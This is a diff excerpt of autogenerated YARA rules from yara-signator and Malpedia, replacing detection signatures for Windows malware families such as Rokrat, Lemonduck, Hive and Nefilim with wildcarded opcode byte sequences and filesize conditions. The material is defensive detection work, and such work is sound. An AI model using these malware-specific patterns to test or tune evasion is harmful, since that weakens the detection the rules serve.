 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "86c839b6-e5b0-5f50-b2eb-341682181175"
+		id = "429d1e4e-ef3f-5d58-8bf0-a0b83d6be71f"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.slickshoes"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.slickshoes_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudwizard"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cloudwizard_auto.yar#L1-L122"
 		license_url = "N/A"
-		logic_hash = "a30adc8e9bcf8ed13fec8919d0e4389d7fc505e3cf19302dcab25ec63fa5bcd2"
+		logic_hash = "1171accd4a2881e0996da43d7ff173c5cb1938e75ca585c448a0136c0ce6d102"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -174386,32 +181423,32 @@ rule MALPEDIA_Win_Slickshoes_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e9???????? 81c204000000 55 bd2a3bff63 81e5fb17be7f e9???????? 57 }
-		$sequence_1 = { e9???????? f7d2 50 e9???????? b87073f77f f7d8 0d90f1fe6f }
-		$sequence_2 = { 81f61f000000 2d01000000 6681ebb987 81f704000000 b800020000 89fa b800000000 }
-		$sequence_3 = { e9???????? b804000000 01c1 58 81c104000000 e9???????? 83c404 }
-		$sequence_4 = { e9???????? b931bbb979 81e13b81af7f e9???????? 5a 01d1 81e91dadf56e }
-		$sequence_5 = { ff3424 5f 83c404 50 54 58 0504000000 }
-		$sequence_6 = { e9???????? bd40d86e7e 81c74b047f7d 29ef 81ef4b047f7d 5d 81f75adb6482 }
-		$sequence_7 = { e9???????? 81c104000000 57 52 68f987eb16 8b1424 81c404000000 }
-		$sequence_8 = { 89ee b80a000000 81cf40000000 2d04000000 09c7 81c302000000 01d7 }
-		$sequence_9 = { 8b12 81c206000000 0fb732 81f128000000 09d1 01d1 31c3 }
+		$sequence_0 = { c3 8d85d4fdffff 50 57 c785d4fdffff2c020000 e8???????? }
+		$sequence_1 = { 668945ee 58 6a7c 668945f0 58 6a6d }
+		$sequence_2 = { 8d45ec 663118 40 40 }
+		$sequence_3 = { 8bc8 8d8618060000 8d7802 668b18 40 40 6685db }
+		$sequence_4 = { ebd6 55 8bec 81ecb80e0000 }
+		$sequence_5 = { 6a01 897dfc 57 c706???????? 897e30 ff15???????? 894634 }
+		$sequence_6 = { 8d4530 d1f9 50 8d044e 50 e8???????? }
+		$sequence_7 = { 668945b8 8d45a0 663108 40 40 663918 }
+		$sequence_8 = { 40 6685d2 75f6 2bc1 8d8e18060000 }
+		$sequence_9 = { 6a5b 6689451e 58 6a5c 66894520 58 6a4d }
 
 	condition:
-		7 of them and filesize <11198464
+		7 of them and filesize <134144
 }
-rule MALPEDIA_Win_Turla_Silentmoon_Auto : FILE
+rule MALPEDIA_Win_Lemonduck_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "74286b0f-5712-5890-afe4-259cc8765b9b"
+		id = "731c6313-f288-5766-8bd2-365369510b0a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.turla_silentmoon"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.turla_silentmoon_auto.yar#L1-L127"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lemonduck"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lemonduck_auto.yar#L1-L114"
 		license_url = "N/A"
-		logic_hash = "f84d11e90ac1422010cde8ffffe4ee94ce33e7fe9731643e241a69ac7f1c820c"
+		logic_hash = "45ef0f5ff171ed9ba03997994f483fd024a13ee436b3a8cb1b81df72104021e2"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -174425,32 +181462,30 @@ rule MALPEDIA_Win_Turla_Silentmoon_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 88442453 a1???????? 89442430 a0???????? 53 56 88442444 }
-		$sequence_1 = { 8b4508 85c0 0f84f9010000 8938 5e 5b 8be5 }
-		$sequence_2 = { 51 6800001000 53 56 ff15???????? 83f801 }
-		$sequence_3 = { b950000000 e8???????? 83c404 6a08 b990000000 e8???????? }
-		$sequence_4 = { 8b94bd28feffff 8d441001 8b55f0 8955d4 8b94bd28feffff 8955d8 8b55f0 }
-		$sequence_5 = { 3bd1 7c9a 0fb608 3bd1 7e66 83be5c02000008 7c2f }
-		$sequence_6 = { 48 83f803 0f878a000000 ff248588344000 8bc3 e8???????? }
-		$sequence_7 = { 85ff 0f8f82fcffff 5f 5b }
-		$sequence_8 = { 7e0a 8b4df0 8b7dd8 33c0 f3ab 8145d808040000 }
-		$sequence_9 = { 741f 8b4508 85c0 7406 c700faffffff c787c4130000faffffff 5e }
+		$sequence_0 = { 41c1e018 42330c22 450bc8 46334c2204 4433d9 410fb64625 4533d1 }
+		$sequence_1 = { 488b7c2430 33c0 488983a0000000 488983a8000000 488983b0000000 488983b8000000 488983c0000000 }
+		$sequence_2 = { 418bc0 80f909 410f47c2 02c1 41884102 410fb64d01 80e10f }
+		$sequence_3 = { 488b89d8000000 48896c2438 4889742440 4883f9ff 7414 ff15???????? 8b4758 }
+		$sequence_4 = { 488d15d2280a00 488bcb ff15???????? 488905???????? 4885c0 0f8474010000 488d159a280a00 }
+		$sequence_5 = { 488d05c6ba0000 488905???????? 488d0558c70000 488905???????? 488d05bad20000 488905???????? 488d054ce30000 }
+		$sequence_6 = { 41c1e908 410fb6c7 41c1ef08 418bb48a50951600 400fb6cf 458ba48250951600 410fb6c6 }
+		$sequence_7 = { 482bc1 4883c0f8 4883f81f 0f8798000000 ba4f000100 e8???????? 90 }
 
 	condition:
-		7 of them and filesize <204800
+		7 of them and filesize <10011648
 }
-rule MALPEDIA_Win_Nefilim_Auto : FILE
+rule MALPEDIA_Win_Rokrat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7c9bb815-6478-5f57-9a80-3013a8b5a537"
+		id = "529b23ea-5ccb-5314-a032-246562122609"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nefilim"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nefilim_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rokrat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rokrat_auto.yar#L1-L152"
 		license_url = "N/A"
-		logic_hash = "0637c290ac474507dfbf7c46615faaf644551a1824ee3d111eec4b7aaf27ae12"
+		logic_hash = "99c55c71740e0234c84ec3f4624ede5be8b8eb4baac41c4a1538d8db05d1af41"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -174464,32 +181499,38 @@ rule MALPEDIA_Win_Nefilim_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { be00010000 56 e8???????? 56 8944244c }
-		$sequence_1 = { 8945e4 3d00010000 7d10 8a8c181d010000 8888c0e64000 40 }
-		$sequence_2 = { c1f802 6bc003 50 6a00 ff15???????? 50 }
-		$sequence_3 = { 85c0 7506 ff15???????? 8d45d4 50 57 ffd3 }
-		$sequence_4 = { 397c2428 7304 8d442414 68???????? 50 ffd6 85c0 }
-		$sequence_5 = { 50 ffd6 85c0 0f84cf020000 f68424a000000010 8d8424cc000000 }
-		$sequence_6 = { 7421 68???????? 8d442444 e8???????? }
-		$sequence_7 = { 8b3d???????? 8b1d???????? 33c9 8945e4 894de8 8b45e4 d3e8 }
-		$sequence_8 = { 8944244c e8???????? ff74244c 8b542440 89442454 e8???????? }
-		$sequence_9 = { c745eceb7f4000 894df8 8945fc 64a100000000 8945e8 }
+		$sequence_0 = { 50 e8???????? 6a04 33c0 }
+		$sequence_1 = { 50 8bcf e8???????? 8d4538 3bd8 }
+		$sequence_2 = { 50 0fb74208 c1e910 51 50 }
+		$sequence_3 = { 50 8bcb e8???????? 8d4550 }
+		$sequence_4 = { 50 e8???????? 8d8edc000000 8d4520 }
+		$sequence_5 = { 56 8d4dc0 c745d000000000 668945c0 e8???????? c645fc03 8b45bc }
+		$sequence_6 = { 50 ff15???????? e8???????? 40 }
+		$sequence_7 = { 51 50 0fb74212 50 }
+		$sequence_8 = { 770a 68???????? e8???????? 837e1408 }
+		$sequence_9 = { ff15???????? 50 e8???????? 59 6a64 }
+		$sequence_10 = { 897dfc e8???????? 68???????? 8d4dd8 }
+		$sequence_11 = { c145f41e 8b5dfc 8db4339979825a 8975fc }
+		$sequence_12 = { c145f01e 8db4339979825a 8975f4 8b772c }
+		$sequence_13 = { c145f41e 8d9c3bd6c162ca 8b792c 337924 }
+		$sequence_14 = { c145f41e 8d8c0bdcbc1b8f 894dfc 8bca }
+		$sequence_15 = { c145f41e 8d9c1fd6c162ca 8b793c 337930 }
 
 	condition:
-		7 of them and filesize <142336
+		7 of them and filesize <2932736
 }
-rule MALPEDIA_Win_Ketrum_Auto : FILE
+rule MALPEDIA_Win_Dispenserxfs_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "675a5c68-35f7-5e7a-83cc-0627e32f2bf0"
+		id = "49bf9fde-27a7-5a52-b363-6d4c360f5198"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ketrum"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ketrum_auto.yar#L1-L174"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dispenserxfs"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dispenserxfs_auto.yar#L1-L122"
 		license_url = "N/A"
-		logic_hash = "b179771de79024de54f910e3eea2ec187acafed93fd395a9caebde5421ab28f1"
+		logic_hash = "0ae97d732c7fee9f1fd4b6377f2a916fed962748494ab51169af7ce6e36e4229"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -174503,40 +181544,34 @@ rule MALPEDIA_Win_Ketrum_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83e13f 5f 3bc8 7203 }
-		$sequence_1 = { 8d85fcebffff 50 8d85fcd3ffff 68???????? 50 ffd7 }
-		$sequence_2 = { ff15???????? ffb5f0cbffff ff15???????? ffb5e8cbffff ffb5f4cbffff }
-		$sequence_3 = { ab ab ab ab 68???????? 6a15 bf???????? }
-		$sequence_4 = { e8???????? 59 85db 7e15 57 8b7d08 2bfe }
-		$sequence_5 = { 33c0 0fb7f0 8bc6 c1e610 ba???????? }
-		$sequence_6 = { 7434 b9???????? 8bc1 8d7001 8a10 40 }
-		$sequence_7 = { 85c0 7404 33c0 eb5e 6880000000 56 }
-		$sequence_8 = { 397010 7699 837b1408 7204 8b13 eb02 }
-		$sequence_9 = { 8a4c181c 8888b0f74100 40 ebe9 33c0 8945e4 }
-		$sequence_10 = { 6a04 8d8520efffff 50 6a1f 57 }
-		$sequence_11 = { 8b8da4fdffff 2bc1 2bc6 50 03ce 51 }
-		$sequence_12 = { 3bf9 732c 8b16 3bd7 7726 8bc7 2bc2 }
-		$sequence_13 = { 8365fc00 83c074 50 8b4508 e8???????? }
-		$sequence_14 = { 89a570feffff 6a0f 5f 897e14 895e10 }
-		$sequence_15 = { 33ff 8d759c e8???????? 33c0 40 e8???????? }
+		$sequence_0 = { 8975c0 8975c4 8b35???????? 57 c745b430000000 c745b803000000 }
+		$sequence_1 = { 68???????? e8???????? c7042410270000 ff15???????? 6a00 }
+		$sequence_2 = { 6a02 ff15???????? 8bf0 83feff 74ef 8d85d4fdffff c785d4fdffff2c020000 }
+		$sequence_3 = { 7c08 8d50ec e8???????? 57 ff15???????? }
+		$sequence_4 = { 7451 33c9 33c0 8bd9 663b422e 731f 8b4230 }
+		$sequence_5 = { 50 ffd6 53 6a03 58 50 8d8555ffffff }
+		$sequence_6 = { 898de0feffff 89b5e4feffff 89b5e8feffff 89b5ecfeffff 89b5f0feffff 66899df6feffff }
+		$sequence_7 = { 8945f0 0f823cffffff 8b4df4 8b45e4 }
+		$sequence_8 = { 8bcf e8???????? 8d8548feffff 8bd3 50 8bcf }
+		$sequence_9 = { 8d55c4 83c414 8bf2 8a02 42 }
 
 	condition:
-		7 of them and filesize <4599808
+		7 of them and filesize <114688
 }
-rule MALPEDIA_Win_Polyglot_Ransom_Auto : FILE
+rule MALPEDIA_Win_Korlia_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "d8c62ea3-2069-58e5-94bb-e4265ed7677c"
+		id = "d35af9df-a058-5a30-a77f-8fa81b1625c9"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.polyglot_ransom"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.polyglot_ransom_auto.yar#L1-L128"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.korlia"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.korlia_auto.yar#L1-L481"
 		license_url = "N/A"
-		logic_hash = "ecee7d25f676a4e4884cb2efcc0294d55515d4c6450d9ce1a59e043bd0d80704"
+		logic_hash = "17b5ea46685442b751a30de5596fa43f96dfb43c44e790391afede4018d6463a"
 		score = 75
-		quality = 73
+		quality = 50
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -174548,32 +181583,75 @@ rule MALPEDIA_Win_Polyglot_Ransom_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff74244c e8???????? 8944241c 894c2448 6a07 895c2450 }
-		$sequence_1 = { 6a30 e8???????? 59 59 8d4d80 51 6801010000 }
-		$sequence_2 = { ff5004 83c328 ff4d10 75ad ff75f0 ff15???????? }
-		$sequence_3 = { be???????? 66f7c30040 6a04 5a 747a 6681fb0b40 756c }
-		$sequence_4 = { 50 68???????? e8???????? 8b85f0fdffff 59 59 8b08 }
-		$sequence_5 = { 627265 206f20 656c 696d696e617220 61 7263 6869766f73 }
-		$sequence_6 = { eb4f 8bf3 8bf9 a5 a5 a5 a5 }
-		$sequence_7 = { 59 59 751c 8b45fc 8b4020 85c0 }
-		$sequence_8 = { 5e c20400 68???????? 6a20 33c0 }
-		$sequence_9 = { 40 5e eb02 32c0 8b4d74 33cd }
+		$sequence_0 = { 52 68???????? 51 ffd6 }
+		$sequence_1 = { 6a32 50 ff15???????? 85c0 7521 }
+		$sequence_2 = { 33c0 f2ae f7d1 49 83f90f 7604 }
+		$sequence_3 = { f7ef c1fa14 8bc2 c1e81f 03d0 52 }
+		$sequence_4 = { 8965e8 c645e401 c745fc00000000 52 }
+		$sequence_5 = { 59 5a c745fcffffffff 8a45e4 8b4df0 64890d00000000 5f }
+		$sequence_6 = { 81fb68584d56 0f9445e4 5b 59 5a c745fcffffffff }
+		$sequence_7 = { 7410 6a28 68???????? 6aff 53 6a00 }
+		$sequence_8 = { 6a00 ffd6 68???????? c705????????1c010000 ff15???????? }
+		$sequence_9 = { 6a01 53 53 53 51 ff15???????? 85c0 }
+		$sequence_10 = { 8b442404 56 6a00 6a00 6a01 6a00 }
+		$sequence_11 = { 6a01 6a00 6a00 6800000040 50 ff15???????? 8bf0 }
+		$sequence_12 = { e8???????? 8a4c2404 6a01 884814 8b4c240c 898840200000 }
+		$sequence_13 = { 8b4c240c 898840200000 58 c20800 e9???????? 6800060000 }
+		$sequence_14 = { 8bf0 83feff 7423 8b542410 8b44240c 8d4c2408 }
+		$sequence_15 = { 59 59 c3 8b65e8 ff7588 ff15???????? 833d????????ff }
+		$sequence_16 = { 50 56 ff15???????? 56 ff15???????? b001 5e }
+		$sequence_17 = { ff15???????? 833d????????ff 750c ff742404 ff15???????? }
+		$sequence_18 = { ff742410 ff742410 ff742410 e8???????? c21000 e8???????? 8a4c2404 }
+		$sequence_19 = { 6a00 680030c800 6a00 6a00 }
+		$sequence_20 = { b8447c0000 e8???????? 53 56 }
+		$sequence_21 = { 8d442444 894d00 8b542438 83c504 50 895500 }
+		$sequence_22 = { 6880000000 6800000400 8bce e8???????? }
+		$sequence_23 = { 8bf9 81e7ff000000 03f2 03f7 }
+		$sequence_24 = { ffd6 8d44240c 6804010000 50 }
+		$sequence_25 = { 83c504 50 895500 83c504 e8???????? d1e0 }
+		$sequence_26 = { 6a00 6a00 50 8bce e8???????? 6a00 }
+		$sequence_27 = { 51 ff15???????? a1???????? b981000000 }
+		$sequence_28 = { 750c ff15???????? 53 e9???????? }
+		$sequence_29 = { 0f8599000000 53 56 57 b940000000 }
+		$sequence_30 = { ffd6 eb06 8b35???????? a1???????? 3bc3 7403 50 }
+		$sequence_31 = { 68ff0f1f00 ff15???????? 85c0 740a }
+		$sequence_32 = { 8d542414 6a00 52 68???????? 6a00 ff15???????? }
+		$sequence_33 = { 85c0 740a 56 50 ff15???????? 8bf0 }
+		$sequence_34 = { 33c0 8dbc245e020000 66899c245c020000 f3ab }
+		$sequence_35 = { 7403 50 ffd6 b912010000 33c0 }
+		$sequence_36 = { f3ab aa b9f9000000 33c0 }
+		$sequence_37 = { 56 3bc3 57 740b 8b35???????? 50 }
+		$sequence_38 = { 6801000080 ff15???????? 85c0 0f8599000000 53 }
+		$sequence_39 = { 68???????? 51 ff15???????? 8b54240c 8bf0 }
+		$sequence_40 = { 40 81c408010000 c3 83c8ff }
+		$sequence_41 = { 5e 24fe 5b 40 }
+		$sequence_42 = { 83c9ff 33c0 68003e0000 f2ae f7d1 2bf9 }
+		$sequence_43 = { 50 8b4308 6a02 57 ffd0 85c0 750c }
+		$sequence_44 = { a0???????? 884102 ba???????? 8bf2 8a02 42 }
+		$sequence_45 = { 51 8b0d???????? 8d85c4f0ffff 6a05 6a04 50 }
+		$sequence_46 = { 8bc7 83e03f 6bc830 8b049578c14100 f644082801 7421 57 }
+		$sequence_47 = { 85f6 7439 8d4dd0 68???????? 51 c745d0306e4000 }
+		$sequence_48 = { ff15???????? 85c0 7421 6a3f 8d85fcfeffff }
+		$sequence_49 = { 6a00 ff15???????? 8bf8 85ff 7503 5f 5e }
+		$sequence_50 = { 5d c20c00 ffb5f8efffff 8b35???????? }
+		$sequence_51 = { 51 e8???????? 8d942404030000 68???????? 52 }
+		$sequence_52 = { 50 51 e8???????? 8b742430 83c41c }
 
 	condition:
-		7 of them and filesize <1392640
+		7 of them and filesize <263168
 }
-rule MALPEDIA_Win_Mpkbot_Auto : FILE
+rule MALPEDIA_Win_Pittytiger_Rat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "72738a74-041e-590e-bcbe-fef59ce6d7c8"
+		id = "9764afd8-8e4e-54dd-9ad2-bd1903f5455d"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mpkbot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mpkbot_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pittytiger_rat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pittytiger_rat_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "84a9c41e42e448fecfbe039fb747c3f04c473f008e3e19f5ee4ba318bc990491"
+		logic_hash = "a2f2e591a5e3a3c37398ec723056984b2fa4039658f61ff9463c257a6584be3f"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -174587,34 +181665,34 @@ rule MALPEDIA_Win_Mpkbot_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 68???????? 50 ff15???????? a3???????? 8d45fc 50 683f000f00 }
-		$sequence_1 = { a3???????? 8d45fc 50 683f000f00 6a00 }
-		$sequence_2 = { 38450c 740a eb05 38450c 7503 }
-		$sequence_3 = { 8d55f8 52 56 6a20 68???????? }
-		$sequence_4 = { 55 8bec 56 57 6a00 ff15???????? 8bf0 }
-		$sequence_5 = { 0fb630 8975d4 db45d4 d84dc4 }
-		$sequence_6 = { 8bf0 0fb7450c 50 0fb74508 50 56 }
-		$sequence_7 = { 7507 38450c 740a eb05 }
-		$sequence_8 = { ff15???????? ff7508 a3???????? ffd0 5d c3 55 }
-		$sequence_9 = { ff15???????? ffd6 50 ffd7 }
+		$sequence_0 = { 8175ec90b48f19 8175f0596f62d6 885df4 50 8d85d4ffffff }
+		$sequence_1 = { a3???????? 0f8451feffff 8d45b8 c745b84f70656e 50 57 }
+		$sequence_2 = { ab ab aa 8d7dc8 33c0 a5 }
+		$sequence_3 = { 397df8 7678 3bf7 7474 }
+		$sequence_4 = { 8bf8 83ffff 7512 ff15???????? }
+		$sequence_5 = { 3bc3 a3???????? 0f8476ffffff 8d459c c745ac65416500 50 }
+		$sequence_6 = { 7512 ff15???????? 50 53 }
+		$sequence_7 = { 50 895df8 ff7510 ff750c ff75fc }
+		$sequence_8 = { ff15???????? 85c0 741c 6a40 ff75f0 ffd7 6af1 }
+		$sequence_9 = { 8d85dcfdffff 50 8d85e0feffff 50 7407 68???????? eb05 }
 
 	condition:
-		7 of them and filesize <139264
+		7 of them and filesize <2162688
 }
-rule MALPEDIA_Win_Fireball_Auto : FILE
+rule MALPEDIA_Win_Slingshot_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "41b2d4de-af91-5e95-ba91-5bc661ef7417"
+		id = "bf558dcd-c863-525d-b34a-1a56d33f94ec"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fireball"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.fireball_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.slingshot"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.slingshot_auto.yar#L1-L218"
 		license_url = "N/A"
-		logic_hash = "0f627ea55086f489b8cd11c65d68f2e0680aa8b1619660718f20b28106c4357c"
+		logic_hash = "1e413348df71e72118297c6913e2a6da9548aa658d39b7dcd425460f21f929c0"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -174626,34 +181704,47 @@ rule MALPEDIA_Win_Fireball_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 52 8bce e8???????? b101 e8???????? }
-		$sequence_1 = { 30a830ac30b0 30b830cc30e8 30f0 30f4 3010 3118 311c31 }
-		$sequence_2 = { 8b0f 8bc1 c1f805 83e11f 8b0485000a2500 c1e106 80640804fe }
-		$sequence_3 = { 68???????? 8d8c24a4000000 c78424b800000007000000 c78424b400000000000000 }
-		$sequence_4 = { c78424a400000000000000 6689842494000000 837c247808 720c ff742464 e8???????? }
-		$sequence_5 = { 53 ff15???????? 85c0 0f85c2feffff }
-		$sequence_6 = { c78518f5ffff07000000 c78514f5ffff00000000 66898504f5ffff 83bdf4f5ffff08 720e }
-		$sequence_7 = { c68558fbffff00 7504 33c9 eb12 8d8d64f9ffff }
-		$sequence_8 = { 8d442417 50 8d542434 8d8c2498000000 c744244c07000000 c744244800000000 e8???????? }
-		$sequence_9 = { 8bf1 c785e8fbffff00000000 e8???????? 83c40c 8d85ecfbffff 6808020000 }
+		$sequence_0 = { 50 33db 53 ff15???????? 8bf0 3bf3 }
+		$sequence_1 = { 3bcb 7512 ff7708 ff37 }
+		$sequence_2 = { 48 8bf0 66895804 66897806 85ed }
+		$sequence_3 = { e8???????? e8???????? 8945d8 8955dc 3bc3 7d09 52 }
+		$sequence_4 = { e8???????? ff7004 8d742420 ff30 e8???????? 395c241c 7523 }
+		$sequence_5 = { 8be8 49 3bc6 750f baec040000 b90e000780 }
+		$sequence_6 = { e8???????? 59 8d75a4 e8???????? 8d7594 }
+		$sequence_7 = { 3bcb 7442 395dfc 7414 }
+		$sequence_8 = { 3bcb 7504 6a08 eb7a }
+		$sequence_9 = { 3919 740a 48 83c102 48 83e801 75f0 }
+		$sequence_10 = { 833d????????00 7546 b918000000 e8???????? 48 }
+		$sequence_11 = { 0f848a050000 45 33e4 0fb74c2448 83e961 }
+		$sequence_12 = { 3bcb 7552 dd45f0 dd4720 }
+		$sequence_13 = { 8bce 49 3bfe 741a }
+		$sequence_14 = { 59 c20400 8b4608 83f8ff }
+		$sequence_15 = { 3bcb 7461 8b01 83f807 }
+		$sequence_16 = { 3bcb 753c ff7708 eb28 }
+		$sequence_17 = { eb29 48 8d4c2448 e8???????? }
+		$sequence_18 = { e9???????? 8d85d0fdffff 50 ff15???????? }
+		$sequence_19 = { 894c9a08 8b5df8 03cb 8b5d0c 23c8 }
+		$sequence_20 = { ff7508 ffd7 85c0 7516 ff15???????? 6843458a04 }
+		$sequence_21 = { 0d00000780 8906 e8???????? 48 8bd6 48 }
+		$sequence_22 = { 3bcb 743b 6afe 58 8901 }
 
 	condition:
-		7 of them and filesize <335872
+		7 of them and filesize <663552
 }
-rule MALPEDIA_Win_Hive_Auto : FILE
+rule MALPEDIA_Win_Cryptoshuffler_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "d6a0e69c-8ba3-5e7b-a7ea-75f1727a32de"
+		id = "04846f99-89cf-54cb-88bc-877d2656a7fa"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hive"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hive_auto.yar#L1-L183"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptoshuffler"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cryptoshuffler_auto.yar#L1-L117"
 		license_url = "N/A"
-		logic_hash = "6114f2e9f03828db87c71adf2ad1d3eed20f57d01fa9bb999ecd2843927df4e0"
+		logic_hash = "1d3d096bc8fe94bfe59d829c11ff29d324542295a6195d59ed4b925f302177ea"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -174665,43 +181756,32 @@ rule MALPEDIA_Win_Hive_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 31c0 b91d000000 31d2 31db }
-		$sequence_1 = { b807000000 b9d4000000 31d2 31db }
-		$sequence_2 = { 89c2 e8???????? b801000000 e8???????? }
-		$sequence_3 = { 31c9 31d2 bb54000000 31f6 }
-		$sequence_4 = { 89d1 e8???????? b802000000 e8???????? }
-		$sequence_5 = { 31c9 31d2 bb08000000 becb000000 31ff }
-		$sequence_6 = { 89d0 b90d000000 e8???????? b90d000000 }
-		$sequence_7 = { 31db 31ff eb31 31c0 }
-		$sequence_8 = { 31ff e8???????? 833d????????00 7511 }
-		$sequence_9 = { 89d1 e8???????? b901000000 e8???????? }
-		$sequence_10 = { 81c4b0000000 c3 e8???????? 90 }
-		$sequence_11 = { 31c9 31d2 bb09000000 bee0000000 }
-		$sequence_12 = { 31c0 eb17 0fb6940496000000 0fb674041c 31d6 }
-		$sequence_13 = { 01c1 83c101 83f90c 0f820fffffff }
-		$sequence_14 = { 01c1 c1e106 400fb6d6 01ca }
-		$sequence_15 = { 01c8 c1e006 400fb6cf 01c1 }
-		$sequence_16 = { 01c1 c1e106 0fb6c2 01c8 }
-		$sequence_17 = { 01c2 b8ffffff03 21c5 21c3 }
-		$sequence_18 = { 01c0 4000f8 0fb6c0 48898424b0000000 }
-		$sequence_19 = { 01ca c1e206 0fb6c3 01d0 }
-		$sequence_20 = { 01c8 89c1 c1e91f ffc9 }
+		$sequence_0 = { 03fb e8???????? 8bf0 3b35???????? 7430 }
+		$sequence_1 = { 83c408 85c0 0f8496040000 6aff 6a00 8d442430 50 }
+		$sequence_2 = { 6bc830 8b049578f60210 f644082801 7421 57 }
+		$sequence_3 = { 0f57c0 c78424f400000000000000 68???????? 8d8c24e8000000 0f298424e8000000 e8???????? }
+		$sequence_4 = { c745ec10f80010 894df8 8945fc 64a100000000 8945e8 }
+		$sequence_5 = { e9???????? c745dc03000000 eb7c c745e0e04d0210 ebbb }
+		$sequence_6 = { 50 ff15???????? 8d842410030000 50 8d84248c010000 50 }
